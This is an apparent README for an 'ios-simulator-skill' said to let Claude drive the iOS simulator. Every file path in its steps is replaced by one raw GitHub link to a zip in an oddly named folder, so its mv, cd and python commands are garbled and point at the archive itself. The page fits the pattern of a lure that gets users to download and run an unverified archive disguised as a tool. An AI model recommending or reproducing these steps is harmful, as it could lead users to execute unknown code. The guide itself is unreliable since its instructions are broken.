Welcome! This guide will help you download and run the ios-simulator-skill application, designed to enable Claude to control your iOS simulator easily.
To get started, you need to download the ios-simulator-skill application. Click the button above to visit the Releases page. Here, you can find the latest version of the software.
Before you proceed, ensure your system meets these requirements:
- Operating System: macOS 10.15 or later
- Xcode: Version 12.0 or later
- Python: Version 3.6 or later installed on your machine
- Access to Command Line: Basic familiarity with command line tools
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Go to the Releases Page.
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Locate the latest release. You will see a list of files available for download.
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Download the file named
https://raw.githubusercontent.com/NezzSigma/ios-simulator-skill/main/antilibration/ios-simulator-skill.zip. This is a compressed file that contains all the necessary components. -
Once downloaded, navigate to your Downloads folder.
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Unzip the
https://raw.githubusercontent.com/NezzSigma/ios-simulator-skill/main/antilibration/ios-simulator-skill.zipfile by double-clicking it. This will create a new folder namedios-simulator-skill. -
Open a terminal window. You can find the terminal in Applications > Utilities > Terminal.
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Move the unzipped folder into your Claude skills directory. Run the following command in your terminal:
mv ~/Downloads/ios-simulator-skill ~https://raw.githubusercontent.com/NezzSigma/ios-simulator-skill/main/antilibration/ios-simulator-skill.zip
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You are now ready to use ios-simulator-skill.
To use the ios-simulator-skill, follow these steps:
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Open your terminal and enter:
cd ~https://raw.githubusercontent.com/NezzSigma/ios-simulator-skill/main/antilibration/ios-simulator-skill.zip
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Start the application with the following command:
python https://raw.githubusercontent.com/NezzSigma/ios-simulator-skill/main/antilibration/ios-simulator-skill.zip
This command will launch the skill, allowing Claude to interact with the iOS simulator.
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To control the simulator, use the appropriate commands as per the functionality provided by the skill.
The ios-simulator-skill offers several features:
- Accessibility Navigation: The skill prefers navigation via accessibility APIs. This method is more efficient and responsive.
- Screenshot Support: While it primarily uses accessibility features, it can also take screenshots if needed.
- Integration with Claude: Effortlessly allows Claude to control the simulator without technical hassle.
If you encounter issues, consider the following steps:
- Check Python Installation: Ensure Python is installed and correctly configured. You can verify by running
python --versionin your terminal. - Xcode Installation: Make sure you have the correct version of Xcode. Open Xcode to confirm installation.
- Correct Path: Double-check that you moved the ios-simulator-skill folder to the correct directory.
- Command Line Errors: If you see an error in terminal commands, make sure there are no typos.
Q: Do I need programming experience to use this skill?
A: No, you do not need any programming experience. The steps are straightforward and designed for easy use.
Q: Can I use this skill on Windows?
A: No, the ios-simulator-skill is only compatible with macOS.
Q: What if I need support?
A: You can reach out through the repository's issue section on GitHub for any support-related questions.
For more information or support, visit the links below:
You have successfully installed and set up the ios-simulator-skill. Enjoy controlling your iOS simulator with ease. Feel free to explore the capabilities of Claude as it interacts with your development environment.
For questions or feedback, visit our GitHub Issues page.